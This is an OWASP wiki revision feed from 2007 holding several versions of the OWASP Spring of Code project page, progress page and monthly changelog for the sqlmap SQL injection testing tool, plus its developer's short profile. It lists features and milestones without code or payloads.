* '''[SpoC]''' Added support for query ETA (Estimated Time of Arrival) real time calculation (''--eta'')&lt;br /&gt;
* '''[SpoC]''' Added Microsoft SQL Server extensive DBMS fingerprint checks based upon extensive infogathering on ''@@version'' matching on an XML file to get also the exact patching level of the DBMS&lt;br /&gt;
* '''[SpoC]''' Improved logging functionality: passed from banal ''print'' to Python native logging library&lt;br /&gt;
* Added DBMS fingerprint based also upon HTML error messages parsing by a ''xml.sax'' function/class (defined in ''lib/parser.py'') which read an XML file defining default error messages for each supported DBMS&lt;br /&gt;
* Added the possibility to specify ''mssql'', ''pgsql'' as ''--remote-dbms'' values&lt;br /&gt;
&lt;br /&gt;
=== June 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Improved UNION SELECT check so now it works with five different DBMS because it uses the ''xml/errors.xml'' file to recognize HTML error messages and correctly identify if the inband SQL injection performed provided good results or not&lt;br /&gt;
* Updated documentation&lt;br /&gt;
* Layout fixes&lt;br /&gt;
&lt;br /&gt;
=== July 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Extended inband SQL injection functionality (''--union-use'') to all other possible queries since it only worked with ''-e'' and ''--file'' on all DMBS plugins&lt;br /&gt;
* '''[SpoC]''' Added a fuzzer function with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting (''txt/fuzz_vectors.txt'', ''Common.passiveFuzzing()'', ''lib/settings.py'' and DBMS plugins)&lt;br /&gt;
* '''[SpoC]''' Reviewed HTTP request library (''lib/request.py'') to support the extended inband SQL injection functionality. Splitted ''getValue()'' into ''getInband()'' and ''getBlind()''&lt;br /&gt;
* '''[SpoC]''' Major enhancements in common library and added ''checkForBrackets()'' method to check if the bracket(s) are needed to perform a UNION query SQL injection attack&lt;br /&gt;
* Implemented ''--dump-all'' functionality to dump entire DBMS data from all databases tables&lt;br /&gt;
* Imlemented in ''Dump.dbTableValues()'' method the CSV file dumped data automatic saving in ''csv/'' folder by default&lt;br /&gt;
* Added DB2, Informix and Sybase DBMS error messages and minor improvements in ''xml/errors.xml''&lt;br /&gt;
* Renamed DMBS plugins&lt;br /&gt;
&lt;br /&gt;
=== September 2007 ===&lt;br /&gt;
&lt;br /&gt;
* Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/column are specified to be dumped. Some more minor fixes in all three DBMS plugins&lt;br /&gt;
* Important fixes in ''lib/option.py'' to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function ''__setCSVDir()'' and fixed also in ''lib/dump.py''&lt;br /&gt;
* Minor enhancement in ''lib/injection.py'' to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (''q'') the for cycle when using the google dork option (''-g'')&lt;br /&gt;
* Minor fix in ''lib/request.py'' to properly encode the url to request in case the &amp;quot;fixed&amp;quot; part of the url has blank spaces&lt;br /&gt;
* More minor layout enhancements in some libraries&lt;br /&gt;
* Updated ChangeLog and TODO documentation files&lt;br /&gt;
&lt;br /&gt;
=== October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Added support to extract database users password hash on Microsoft SQL Server&lt;br /&gt;
* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries, ''--exclude-sysdbs''&lt;br /&gt;
* Major code refactoring: strongly slightned and adapted plugins code and DBMS strictly specific methods, centralized the queries method to ''lib/query.php'' and the queries to an XML file, ''xml/queries.xml'', implemented a function and a class to parse such XML file, renamed a lot of functions and variables to let the name be more self explained&lt;br /&gt;
* Minor fix in other libraries to avoid ''extra'' parameter when calling ''UnionUse.unionUse()''&lt;br /&gt;
* Enhancement in plugins so the column type is not more enumerated when it's not necessary to dump table entries, since we need to know in this case only the column name&lt;br /&gt;
* Major fix in plugins and in ''lib/dump.py'' to sort both column names and entries when dumping table entries&lt;br /&gt;
* Major fix in plugins to correctly handle the ''-C'' command line argument to dump table values from&lt;br /&gt;
* Code refactoring in ''lib/request.py'' ''getInband()'' method&lt;br /&gt;
* Major code review and restyling in plugins&lt;br /&gt;
* Minor layout improvement in ''lib/resume.py''&lt;br /&gt;
* Minor fix in ''getValue()'' call in plugins&lt;br /&gt;
* Minor fix in ''lib/option.py'' to correctly handle one-line User-Agent file&lt;br /&gt;
* Added ''__cleanupParameters()'' method in ''lib/option.py''&lt;br /&gt;
* Some enhancement in ''lib/dump.py'' to correctly handle also the ''-e'' command line argument&lt;br /&gt;
* Updated all documentation files, mainly README ([http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/README.html HTML] and [http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/README.pdf PDF])&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/ChangeLog sqlmap ChangeLog]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap?view=rev sqlmap last SVN revision log message]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=22541</id>
		<title>SpoC 007 - SqlMap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=22541"/>
				<updated>2007-10-22T08:31:18Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''''[http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Selection Back to SpoC 007 Selection page]'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''AoC Candidate''':  Bernardo Damele&lt;br /&gt;
&lt;br /&gt;
'''Project coordinator''': Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
'''Project Progress''': 80% Complete, [[SpoC 007 - SQLMap - Progress Page|Progress Page]]&lt;br /&gt;
&lt;br /&gt;
==   Bernardo Damele - SQLMap ==&lt;br /&gt;
&lt;br /&gt;
=== Executive Summary ===&lt;br /&gt;
&lt;br /&gt;
[http://sqlmap.sourceforge.net sqlmap] is an automatic SQL injection tool entirely developed in [http://www.python.org Python]. It is capable to perform an extensive database management system back-end fingerprint, retrieve remote DBMS databases, usernames, tables, columns, enumerate entire DBMS, read system files and much more taking advantage of web application programming security flaws that lead to SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
=== Objectives for OWASP Spring of Code 2007 ===&lt;br /&gt;
&lt;br /&gt;
* Add support for Oracle database management system&lt;br /&gt;
* Add support to extract database users password hash&lt;br /&gt;
* Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
* Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* Improve logging functionality &lt;br /&gt;
&lt;br /&gt;
=== Long-term vision for the project ===&lt;br /&gt;
&lt;br /&gt;
Make sqlmap available as an easy-to-use enumeration and penetration testing tool to the OWASP community extending its functionality to exploit SQL injection vulnerabilities to provide a remote shell on the affected web application database server when possible. In the long run I would also like to develop a graphical user interface.&lt;br /&gt;
&lt;br /&gt;
=== Why I should be sponsored for the project ===&lt;br /&gt;
&lt;br /&gt;
I have good python programming skills and some years of experience in computer networks security. I spent most of the last year researching on web application insecurity taking over the [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap development] since December 2006. Actually I work as software developer at an information security company in Italy where I mostly deal with vulnerability assessment.&lt;br /&gt;
&lt;br /&gt;
=== Links ===&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.sourceforge.net sqlmap homepage]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap SVN repository web interface]&lt;br /&gt;
* [https://sourceforge.net/project/showfiles.php?group_id=171598&amp;amp;package_id=196107 sqlmap SourceForge File List page]&lt;br /&gt;
* [http://sqlmap.sourceforge.net/dev/index.html sqlmap development documentation]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Selection Back to SpoC 007 Selection page]'''&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=22391</id>
		<title>SpoC 007 - SQLMap - Progress Page</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=22391"/>
				<updated>2007-10-13T23:23:38Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Objectives for OWASP Spring of Code 2007 ==&lt;br /&gt;
&lt;br /&gt;
=== Accomplished objectives at 11st of October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[100%]''' Add support to extract database users password hash&lt;br /&gt;
* '''[100%]''' Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* '''[100%]''' Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* '''[100%]''' Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* '''[100%]''' Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* '''[100%]''' Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* '''[100%]''' Improve logging functionality&lt;br /&gt;
&lt;br /&gt;
=== Ongoing work at 11st of October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[50%]''' Add support for Oracle database management system&lt;br /&gt;
* '''[0%]''' Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Changes in sqlmap during OWASP Spring of Code 2007 ==&lt;br /&gt;
&lt;br /&gt;
=== May 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Added support to extract database users password hash on MySQL and PostgreSQL&lt;br /&gt;
* '''[SpoC]''' Improved Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* '''[SpoC]''' Added support for query ETA (Estimated Time of Arrival) real time calculation (''--eta'')&lt;br /&gt;
* '''[SpoC]''' Added Microsoft SQL Server extensive DBMS fingerprint checks based upon extensive infogathering on ''@@version'' matching on an XML file to get also the exact patching level of the DBMS&lt;br /&gt;
* '''[SpoC]''' Improved logging functionality: passed from banal ''print'' to Python native logging library&lt;br /&gt;
* Added DBMS fingerprint based also upon HTML error messages parsing by a ''xml.sax'' function/class (defined in ''lib/parser.py'') which read an XML file defining default error messages for each supported DBMS&lt;br /&gt;
* Added the possibility to specify ''mssql'', ''pgsql'' as ''--remote-dbms'' values&lt;br /&gt;
&lt;br /&gt;
=== June 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Improved UNION SELECT check so now it works with five different DBMS because it uses the ''xml/errors.xml'' file to recognize HTML error messages and correctly identify if the inband SQL injection performed provided good results or not&lt;br /&gt;
* Updated documentation&lt;br /&gt;
* Layout fixes&lt;br /&gt;
&lt;br /&gt;
=== July 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Extended inband SQL injection functionality (''--union-use'') to all other possible queries since it only worked with ''-e'' and ''--file'' on all DMBS plugins&lt;br /&gt;
* '''[SpoC]''' Added a fuzzer function with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting (''txt/fuzz_vectors.txt'', ''Common.passiveFuzzing()'', ''lib/settings.py'' and DBMS plugins)&lt;br /&gt;
* '''[SpoC]''' Reviewed HTTP request library (''lib/request.py'') to support the extended inband SQL injection functionality. Splitted ''getValue()'' into ''getInband()'' and ''getBlind()''&lt;br /&gt;
* '''[SpoC]''' Major enhancements in common library and added ''checkForBrackets()'' method to check if the bracket(s) are needed to perform a UNION query SQL injection attack&lt;br /&gt;
* Implemented ''--dump-all'' functionality to dump entire DBMS data from all databases tables&lt;br /&gt;
* Imlemented in ''Dump.dbTableValues()'' method the CSV file dumped data automatic saving in ''csv/'' folder by default&lt;br /&gt;
* Added DB2, Informix and Sybase DBMS error messages and minor improvements in ''xml/errors.xml''&lt;br /&gt;
* Renamed DMBS plugins&lt;br /&gt;
&lt;br /&gt;
=== September 2007 ===&lt;br /&gt;
&lt;br /&gt;
* Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/column are specified to be dumped. Some more minor fixes in all three DBMS plugins&lt;br /&gt;
* Important fixes in ''lib/option.py'' to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function ''__setCSVDir()'' and fixed also in ''lib/dump.py''&lt;br /&gt;
* Minor enhancement in ''lib/injection.py'' to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (''q'') the for cycle when using the google dork option (''-g'')&lt;br /&gt;
* Minor fix in ''lib/request.py'' to properly encode the url to request in case the &amp;quot;fixed&amp;quot; part of the url has blank spaces&lt;br /&gt;
* More minor layout enhancements in some libraries&lt;br /&gt;
* Updated ChangeLog and TODO documentation files&lt;br /&gt;
&lt;br /&gt;
=== October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Added support to extract database users password hash on Microsoft SQL Server&lt;br /&gt;
* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries, ''--exclude-sysdbs''&lt;br /&gt;
* Major code refactoring: strongly slightned and adapted plugins code and DBMS strictly specific methods, centralized the queries method to ''lib/query.php'' and the queries to an XML file, ''xml/queries.xml'', implemented a function and a class to parse such XML file, renamed a lot of functions and variables to let the name be more self explained&lt;br /&gt;
* Minor fix in other libraries to avoid ''extra'' parameter when calling ''UnionUse.unionUse()''&lt;br /&gt;
* Enhancement in plugins so the column type is not more enumerated when it's not necessary to dump table entries, since we need to know in this case only the column name&lt;br /&gt;
* Major fix in plugins and in ''lib/dump.py'' to sort both column names and entries when dumping table entries&lt;br /&gt;
* Major fix in plugins to correctly handle the ''-C'' command line argument to dump table values from&lt;br /&gt;
* Code refactoring in ''lib/request.py'' ''getInband()'' method&lt;br /&gt;
* Major code review and restyling in plugins&lt;br /&gt;
* Minor layout improvement in ''lib/resume.py''&lt;br /&gt;
* Minor fix in ''getValue()'' call in plugins&lt;br /&gt;
* Minor fix in ''lib/option.py'' to correctly handle one-line User-Agent file&lt;br /&gt;
* Added ''__cleanupParameters()'' method in ''lib/option.py''&lt;br /&gt;
* Some enhancement in ''lib/dump.py'' to correctly handle also the ''-e'' command line argument&lt;br /&gt;
* Updated ChangeLog, TODO and THANKS documentation files&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/ChangeLog sqlmap ChangeLog]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap?view=rev sqlmap last SVN revision log message]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Inquis&amp;diff=22349</id>
		<title>User:Inquis</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Inquis&amp;diff=22349"/>
				<updated>2007-10-11T12:56:30Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==== Who I am ====&lt;br /&gt;
&lt;br /&gt;
My name is Bernardo, I am originally from Rio de Janeiro (Brazil), but I have been living for almost all of my life in the north-east of Italy. I spent part of the last years researching on web application insecurity taking over the [http://sqlmap.sourceforge.net sqlmap] development since December 2006. Actually I work as security software developer and researcher for an information security company in Italy where I mostly deal with vulnerability assessment and penetration test.&lt;br /&gt;
&lt;br /&gt;
==== Links ====&lt;br /&gt;
&lt;br /&gt;
* My [http://bernardodamele.blogspot.com/ blog]&lt;br /&gt;
* My [mailto:bernardo.damele@gmail.com email address]&lt;br /&gt;
* My Skype contact: inquis&lt;br /&gt;
* My [http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Applications#Bernardo_-_sqlmap sqlmap application] to the [http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007 OWASP Spring of Code 2007], its [http://www.owasp.org/index.php/SpoC_007_-_SqlMap OWASP page] and its [http://www.owasp.org/index.php/SpoC_007_-_SQLMap_-_Progress_Page Progress Page]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=22342</id>
		<title>SpoC 007 - SqlMap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=22342"/>
				<updated>2007-10-11T11:27:48Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''''[http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Selection Back to SpoC 007 Selection page]'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''AoC Candidate''':  Bernardo Damele&lt;br /&gt;
&lt;br /&gt;
'''Project coordinator''': Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
'''Project Progress''': 80% Complete, [[SpoC 007 - SQLMap - Progress Page|Progress Page]]&lt;br /&gt;
&lt;br /&gt;
==   Bernardo Damele - SQLMap ==&lt;br /&gt;
&lt;br /&gt;
=== Executive Summary ===&lt;br /&gt;
&lt;br /&gt;
[http://sqlmap.sourceforge.net sqlmap] is an automatic blind SQL injection tool, developed in python, capable to perform an active database management system fingerprint, enumerate entire remote databases and much more. The aim of this project is to implement a fully functional database management system tool which takes advantages of web application programming security flaws which lead to SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
=== Objectives for OWASP Spring of Code 2007 ===&lt;br /&gt;
&lt;br /&gt;
* Add support for Oracle database management system&lt;br /&gt;
* Add support to extract database users password hash&lt;br /&gt;
* Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
* Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* Improve logging functionality &lt;br /&gt;
&lt;br /&gt;
=== Long-term vision for the project ===&lt;br /&gt;
&lt;br /&gt;
Make sqlmap available as an easy-to-use enumeration and penetration testing tool to the OWASP community extending its functionality to exploit SQL injection vulnerabilities to provide a remote shell on the affected web application database server when possible. In the long run I would also like to develop a graphical user interface.&lt;br /&gt;
&lt;br /&gt;
=== Why I should be sponsored for the project ===&lt;br /&gt;
&lt;br /&gt;
I have good python programming skills and some years of experience in computer networks security. I spent most of the last year researching on web application insecurity taking over the [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap development] since December 2006. Actually I work as software developer at an information security company in Italy where I mostly deal with vulnerability assessment.&lt;br /&gt;
&lt;br /&gt;
=== Links ===&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.sourceforge.net sqlmap homepage]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap SVN repository web interface]&lt;br /&gt;
* [https://sourceforge.net/project/showfiles.php?group_id=171598&amp;amp;package_id=196107 sqlmap SourceForge File List page]&lt;br /&gt;
* [http://sqlmap.sourceforge.net/dev/index.html sqlmap development documentation]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Selection Back to SpoC 007 Selection page]'''&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=22341</id>
		<title>SpoC 007 - SQLMap - Progress Page</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=22341"/>
				<updated>2007-10-11T11:27:20Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Objectives for OWASP Spring of Code 2007 ==&lt;br /&gt;
&lt;br /&gt;
=== Accomplished objectives at 11st of October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[100%]''' Add support to extract database users password hash&lt;br /&gt;
* '''[100%]''' Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* '''[100%]''' Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* '''[100%]''' Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* '''[100%]''' Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* '''[100%]''' Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* '''[100%]''' Improve logging functionality&lt;br /&gt;
&lt;br /&gt;
=== Ongoing work at 11st of October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[30%]''' Add support for Oracle database management system&lt;br /&gt;
* '''[0%]''' Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Changes in sqlmap during OWASP Spring of Code 2007 ==&lt;br /&gt;
&lt;br /&gt;
=== May 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Added support to extract database users password hash on MySQL and PostgreSQL&lt;br /&gt;
* '''[SpoC]''' Improved Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* '''[SpoC]''' Added support for query ETA (Estimated Time of Arrival) real time calculation (''--eta'')&lt;br /&gt;
* '''[SpoC]''' Added Microsoft SQL Server extensive DBMS fingerprint checks based upon extensive infogathering on ''@@version'' matching on an XML file to get also the exact patching level of the DBMS&lt;br /&gt;
* '''[SpoC]''' Improved logging functionality: passed from banal ''print'' to Python native logging library&lt;br /&gt;
* Added DBMS fingerprint based also upon HTML error messages parsing by a ''xml.sax'' function/class (defined in ''lib/parser.py'') which read an XML file defining default error messages for each supported DBMS&lt;br /&gt;
* Added the possibility to specify ''mssql'', ''pgsql'' as ''--remote-dbms'' values&lt;br /&gt;
&lt;br /&gt;
=== June 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Improved UNION SELECT check so now it works with five different DBMS because it uses the ''xml/errors.xml'' file to recognize HTML error messages and correctly identify if the inband SQL injection performed provided good results or not&lt;br /&gt;
* Updated documentation&lt;br /&gt;
* Layout fixes&lt;br /&gt;
&lt;br /&gt;
=== July 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Extended inband SQL injection functionality (''--union-use'') to all other possible queries since it only worked with ''-e'' and ''--file'' on all DMBS plugins&lt;br /&gt;
* '''[SpoC]''' Added a fuzzer function with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting (''txt/fuzz_vectors.txt'', ''Common.passiveFuzzing()'', ''lib/settings.py'' and DBMS plugins)&lt;br /&gt;
* '''[SpoC]''' Reviewed HTTP request library (''lib/request.py'') to support the extended inband SQL injection functionality. Splitted ''getValue()'' into ''getInband()'' and ''getBlind()''&lt;br /&gt;
* '''[SpoC]''' Major enhancements in common library and added ''checkForBrackets()'' method to check if the bracket(s) are needed to perform a UNION query SQL injection attack&lt;br /&gt;
* Implemented ''--dump-all'' functionality to dump entire DBMS data from all databases tables&lt;br /&gt;
* Imlemented in ''Dump.dbTableValues()'' method the CSV file dumped data automatic saving in ''csv/'' folder by default&lt;br /&gt;
* Added DB2, Informix and Sybase DBMS error messages and minor improvements in ''xml/errors.xml''&lt;br /&gt;
* Renamed DMBS plugins&lt;br /&gt;
&lt;br /&gt;
=== September 2007 ===&lt;br /&gt;
&lt;br /&gt;
* Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/column are specified to be dumped. Some more minor fixes in all three DBMS plugins&lt;br /&gt;
* Important fixes in ''lib/option.py'' to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function ''__setCSVDir()'' and fixed also in ''lib/dump.py''&lt;br /&gt;
* Minor enhancement in ''lib/injection.py'' to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (''q'') the for cycle when using the google dork option (''-g'')&lt;br /&gt;
* Minor fix in ''lib/request.py'' to properly encode the url to request in case the &amp;quot;fixed&amp;quot; part of the url has blank spaces&lt;br /&gt;
* More minor layout enhancements in some libraries&lt;br /&gt;
* Updated ChangeLog and TODO documentation files&lt;br /&gt;
&lt;br /&gt;
=== October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Added support to extract database users password hash on Microsoft SQL Server&lt;br /&gt;
* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries, ''--exclude-sysdbs''&lt;br /&gt;
* Enhancement in plugins so the column type is not more enumerated when it's not necessary to dump table entries, since we need to know in this case only the column name&lt;br /&gt;
* Major fix in plugins and in ''lib/dump.py'' to sort both column names and entries when dumping table entries&lt;br /&gt;
* Major fix in plugins to correctly handle the ''-C'' command line argument to dump table values from&lt;br /&gt;
* Code refactoring in ''lib/request.py'' ''getInband()'' method&lt;br /&gt;
* Major code review and restyling in plugins&lt;br /&gt;
* Minor layout improvement in ''lib/resume.py''&lt;br /&gt;
* Minor fix in ''getValue()'' call in plugins&lt;br /&gt;
* Minor fix in ''lib/option.py'' to correctly handle one-line User-Agent file&lt;br /&gt;
* Added ''__cleanupParameters()'' method in ''lib/option.py''&lt;br /&gt;
* Some enhancement in ''lib/dump.py'' to correctly handle also the ''-e'' command line argument&lt;br /&gt;
* Updated ChangeLog, TODO and THANKS documentation files&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/ChangeLog sqlmap ChangeLog]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap?view=rev sqlmap last SVN revision log message]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=22340</id>
		<title>SpoC 007 - SQLMap - Progress Page</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=22340"/>
				<updated>2007-10-11T11:18:02Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Objectives for OWASP Spring of Code 2007 ==&lt;br /&gt;
&lt;br /&gt;
=== Accomplished objectives at 30th of July 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[100%]''' Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* '''[100%]''' Add support to extract database users password hash&lt;br /&gt;
* '''[100%]''' Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* '''[100%]''' Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* '''[100%]''' Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* '''[100%]''' Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* '''[100%]''' Improve logging functionality&lt;br /&gt;
&lt;br /&gt;
=== Ongoing work at 11st of October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[30%]''' Add support for Oracle database management system&lt;br /&gt;
* '''[0%]''' Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Changes in sqlmap during OWASP Spring of Code 2007 ==&lt;br /&gt;
&lt;br /&gt;
=== May 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Added support to extract database users password hash on MySQL and PostgreSQL&lt;br /&gt;
* '''[SpoC]''' Improved Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* '''[SpoC]''' Added support for query ETA (Estimated Time of Arrival) real time calculation (''--eta'')&lt;br /&gt;
* '''[SpoC]''' Added Microsoft SQL Server extensive DBMS fingerprint checks based upon extensive infogathering on ''@@version'' matching on an XML file to get also the exact patching level of the DBMS&lt;br /&gt;
* '''[SpoC]''' Improved logging functionality: passed from banal ''print'' to Python native logging library&lt;br /&gt;
* Added DBMS fingerprint based also upon HTML error messages parsing by a ''xml.sax'' function/class (defined in ''lib/parser.py'') which read an XML file defining default error messages for each supported DBMS&lt;br /&gt;
* Added the possibility to specify ''mssql'', ''pgsql'' as ''--remote-dbms'' values&lt;br /&gt;
&lt;br /&gt;
=== June 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Improved UNION SELECT check so now it works with five different DBMS because it uses the ''xml/errors.xml'' file to recognize HTML error messages and correctly identify if the inband SQL injection performed provided good results or not&lt;br /&gt;
* Updated documentation&lt;br /&gt;
* Layout fixes&lt;br /&gt;
&lt;br /&gt;
=== July 2007 ===&lt;br /&gt;
&lt;br /&gt;
